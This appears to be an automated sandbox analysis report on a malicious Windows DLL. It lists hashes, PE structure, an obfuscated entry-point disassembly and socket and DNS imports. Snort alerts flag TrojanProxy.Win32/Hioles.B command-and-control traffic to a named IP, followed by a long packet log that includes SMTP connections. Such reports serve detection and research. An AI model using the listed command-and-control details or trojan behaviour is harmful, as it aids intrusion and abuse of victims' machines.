File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.834175898212294
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	RqrQG7s66x.dll
File size:	4'283'392 bytes
MD5:	29e9150af910082acd681a4f5f4a2fc4
SHA1:	faed61788a117ba9554b938a4220c1fb937608a4
SHA256:	ee6a8f650041e6523a5ddd17ad94b74c32d6a45c3f4f38a8c5b268949214d6cb
SHA512:	92e57c91a9b23acc0f6566835456f7df26c2eece7bb3b3df1508bd74b896158ffb87b4b1e2a34742fdad1a4526a6449f85e49e15f033d547e37c75a2a74f178c
SSDEEP:	98304:eo1hNCw38TtcBWaFid8kjBrdajCGPRjTp/Q0lgDcVDja:pCs8TtcBWaF0BrsLjTq6gIVDe
TLSH:	DE1623C27DEAD2F9D1C91874D26799CF17B1006B8AC5C9786FC0AC017921EB350DE9BA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Hoe...........!...&.,..........3GF......@................................c...........@..........................dK.G..

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x10464733
Entrypoint Section:	.data2
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x656F480E [Tue Dec 5 15:55:58 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	8d1c73a7b6a85fc1245f48f533b8f9f7

Entrypoint Preview

Instruction
call 00007F61A0BBC9F5h
inc eax
and ch, bh
dec edi
mov edi, dword ptr [ebp+ecx-00008178h]
dec edx
mov dword ptr [esp+ecx*4-000205E0h], 00130F38h
dec edi
mov dword ptr [esp+ecx*4-000205CEh], edi
inc cx
ror ebx, FFFFFFA9h
dec edi
lea esp, dword ptr [ecx-00008166h]
inc ebp
mov ebp, ebx
inc esi
mov edi, dword ptr [ebx+ecx*2-000102F0h]
inc ebp
movsx edx, bl
inc edx
movzx eax, byte ptr [esp+ecx*2-000102E5h]
dec edx
lea ebx, dword ptr [ebx+ecx*2-000102ECh]
dec esi
xchg dword ptr [esp+ecx*2-000102E8h], ecx
inc esp
xor edi, esi
inc dx
mov dword ptr [esp+ecx-0000ADAFh], 000F7339h
inc cx
shr ecx, FFFFFFE7h
inc ecx
bswap edi
inc cx
ror edx, 2Fh
inc eax
sal bh, 00000044h
inc ecx
inc edi
inc ecx
neg edi
inc ecx
not edi
jmp 00007F61A0CAAB9Dh
mov edx, dword ptr [esp+04h]
add edx, FFF96105h
jmp edx
shr dx, 004Eh
setnp dl
xor cx, EFA6h
not cx
not dl
jmp 00007F61A0BCD942h
inc ecx
rol bh, 00000006h
inc esp
add dl, ch
inc cx
rol ebx, 1
inc cx
xadd edx, edx
inc ecx
bswap edx
inc cx
xor esi, ebx
inc ecx
push edi
jmp 00007F61A1AEBCD2h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x4b64e0	0x47	.data2
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4f0140	0xa0	.data2
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x63d000	0x22c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x63ce10	0x40	.data2
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x227000	0x1b8	.data1
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x22b03	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x24000	0x63ae	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2b000	0x14e4	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data0	0x2d000	0x1f96b1	0x0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data1	0x227000	0x340	0x400	False	0.4033203125	data	2.879297585975863	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data2	0x228000	0x414f00	0x415000	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x63d000	0x22c	0x400	False	0.35546875	data	2.628815786252307	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
KERNEL32.dll	FindFirstFileA, FindClose, Sleep, WaitForSingleObject, lstrcatA, lstrlenA, lstrcpyA, GetProcessHeap, HeapFree, CreateEventA, CreateThread, CloseHandle, HeapAlloc, SetEvent, CreateMutexA, GetWindowsDirectoryA, WriteConsoleW, CreateFileW, SetFilePointerEx, GetConsoleMode, GetConsoleOutputCP, WriteFile, FlushFileBuffers, SetStdHandle, HeapReAlloc, HeapSize, GetStringTypeW, lstrcmpiA, GetVolumeInformationA, GetComputerNameA, GetLastError, GetTempPathA, GetFileType, GetStdHandle, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetModuleHandleW, GetCurrentProcess, TerminateProcess, InterlockedFlushSList, RtlUnwind, SetLastError, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, EncodePointer, RaiseException, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, LCMapStringW, DecodePointer
USER32.dll	wsprintfA
WS2_32.dll	htons, socket, WSAStartup, connect, recv, setsockopt, gethostbyname, inet_addr, select, closesocket, send
DNSAPI.dll	DnsQuery_A, DnsFree
ADVAPI32.dll	GetUserNameA
SHLWAPI.dll	StrStrIA, StrToIntA
KERNEL32.dll	HeapAlloc, HeapFree, ExitProcess, LoadLibraryA, GetModuleHandleA, GetProcAddress

Exports

Name	Ordinal	Address
DllEntry	1	0x10016230

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.6195.62.52.1644970910012806881 12/10/23-17:49:55.328701	TCP	2806881	ETPRO TROJAN TrojanProxy.Win32/Hioles.B CnC	49709	1001	192.168.2.6	195.62.52.164
192.168.2.6195.62.52.1645022610022806881 12/10/23-17:51:56.614877	TCP	2806881	ETPRO TROJAN TrojanProxy.Win32/Hioles.B CnC	50226	1002	192.168.2.6	195.62.52.164

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2023 17:47:54.568895102 CET	49708	25	192.168.2.6	67.195.228.109
Dec 10, 2023 17:47:54.776385069 CET	25	49708	67.195.228.109	192.168.2.6
Dec 10, 2023 17:47:54.776527882 CET	49708	25	192.168.2.6	67.195.228.109
Dec 10, 2023 17:47:54.776700974 CET	49708	25	192.168.2.6	67.195.228.109
Dec 10, 2023 17:47:54.777126074 CET	49709	1001	192.168.2.6	195.62.52.164
Dec 10, 2023 17:47:54.983844995 CET	25	49708	67.195.228.109	192.168.2.6
Dec 10, 2023 17:47:55.005516052 CET	25	49708	67.195.228.109	192.168.2.6
Dec 10, 2023 17:47:55.005631924 CET	49708	25	192.168.2.6	67.195.228.109
Dec 10, 2023 17:47:55.005670071 CET	25	49708	67.195.228.109	192.168.2.6
Dec 10, 2023 17:47:55.005742073 CET	49708	25	192.168.2.6	67.195.228.109
Dec 10, 2023 17:47:55.049751997 CET	1001	49709	195.62.52.164	192.168.2.6
Dec 10, 2023 17:47:55.049915075 CET	49709	1001	192.168.2.6	195.62.52.164
Dec 10, 2023 17:47:55.050133944 CET	49709	1001	192.168.2.6	195.62.52.164
Dec 10, 2023 17:47:55.322773933 CET	1001	49709	195.62.52.164	192.168.2.6
Dec 10, 2023 17:47:55.323000908 CET	1001	49709	195.62.52.164	192.168.2.6
Dec 10, 2023 17:47:55.324382067 CET	49709	1001	192.168.2.6	195.62.52.164
Dec 10, 2023 17:47:55.597119093 CET	1001	49709	195.62.52.164	192.168.2.6
Dec 10, 2023 17:47:55.639946938 CET	49709	1001	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:02.380698919 CET	1001	49709	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:02.382822037 CET	49711	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:02.421154022 CET	49709	1001	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:02.659274101 CET	1002	49711	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:02.659383059 CET	49711	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:02.659478903 CET	49711	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:02.684014082 CET	1001	49709	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:02.686539888 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:02.733623981 CET	49709	1001	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:02.936239004 CET	1002	49711	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:02.936270952 CET	1002	49711	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:02.936537981 CET	49711	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:02.936633110 CET	49711	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:02.958560944 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:02.958776951 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:02.958904982 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:03.213315964 CET	1002	49711	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:03.213361025 CET	1002	49711	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:03.231139898 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:03.231206894 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:03.280570030 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:03.360785007 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:03.424669027 CET	1001	49709	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:03.427182913 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:03.468096972 CET	49709	1001	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:03.670244932 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:03.674047947 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:03.703926086 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:03.704018116 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:03.704157114 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:03.717993975 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:03.981076956 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:03.981107950 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:03.983046055 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:04.071348906 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:04.297123909 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:04.343014956 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:04.343476057 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:04.378403902 CET	1001	49709	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:04.380732059 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:04.383085966 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:04.384097099 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:04.421180964 CET	49709	1001	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:04.653060913 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:04.653218031 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:04.653346062 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:04.656014919 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:04.656059027 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:04.656122923 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:04.656330109 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:04.681895971 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:04.926481962 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:04.926547050 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:04.928662062 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:04.968019962 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:04.969063997 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:04.969681025 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:04.994646072 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:04.995738983 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:04.996750116 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.054557085 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:05.054596901 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:05.054667950 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:05.054780960 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.241933107 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.242110014 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.273083925 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.273113966 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.273129940 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.273200989 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.366282940 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.366981983 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.367146015 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:05.367178917 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:05.410901070 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.410964012 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.411165953 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.411454916 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.411535025 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.421118021 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.549590111 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.550148964 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.586981058 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.587502003 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.627662897 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:05.628046036 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.671124935 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:05.683007002 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.683099031 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.683110952 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.683161974 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.683295965 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.683312893 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.683351040 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.683373928 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.683401108 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.683442116 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.683861017 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.683876991 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.683919907 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.683919907 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.683943987 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.722197056 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.722363949 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.863797903 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.863957882 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.900355101 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.940155983 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.940357924 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:05.940407991 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:05.942143917 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:05.942293882 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:05.942435980 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.944713116 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:05.944788933 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:05.955302000 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.955343962 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.955404997 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.955514908 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.955528021 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.955581903 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.956044912 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.956126928 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.956166029 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.956227064 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.956473112 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.956559896 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.994424105 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.994461060 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.994510889 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.994532108 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.994596958 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.994596958 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.994659901 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.994713068 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.994733095 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.994856119 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.995081902 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.995162010 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:05.995305061 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:05.995378971 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.034451962 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.034559965 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.034717083 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.034845114 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.034992933 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.178771973 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.215003014 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.215133905 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.215194941 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.215373039 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.227636099 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.227732897 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.227750063 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.227806091 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.227926970 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.227974892 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.227993011 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.228024960 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.228249073 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.228280067 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.228301048 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.228332043 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.228511095 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.228544950 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.228564024 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.228595018 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.228657007 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.228708982 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.228822947 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.228897095 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.266715050 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.266748905 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.266899109 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.267163038 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.267426968 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.267940998 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.267972946 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.268111944 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.306255102 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.311088085 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.311204910 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.311244011 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.311279058 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.311327934 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.311378002 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.311512947 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.311573029 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.311863899 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.311950922 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.312123060 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.312202930 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.348200083 CET	1002	49714	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.348484993 CET	49714	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.487730026 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.500049114 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.500101089 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.500217915 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.500293970 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.500359058 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.500606060 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.500638962 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.500672102 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.500783920 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.500833988 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.500866890 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.500948906 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.501161098 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.501210928 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.501496077 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.501599073 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.501633883 CET	1002	49712	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.501822948 CET	49712	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.527801991 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.527977943 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:06.528183937 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:06.528290033 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:06.577380896 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:06.577418089 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:06.587310076 CET	1001	49709	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:06.587657928 CET	1002	49714	195.62.52.164	192.168.2.6
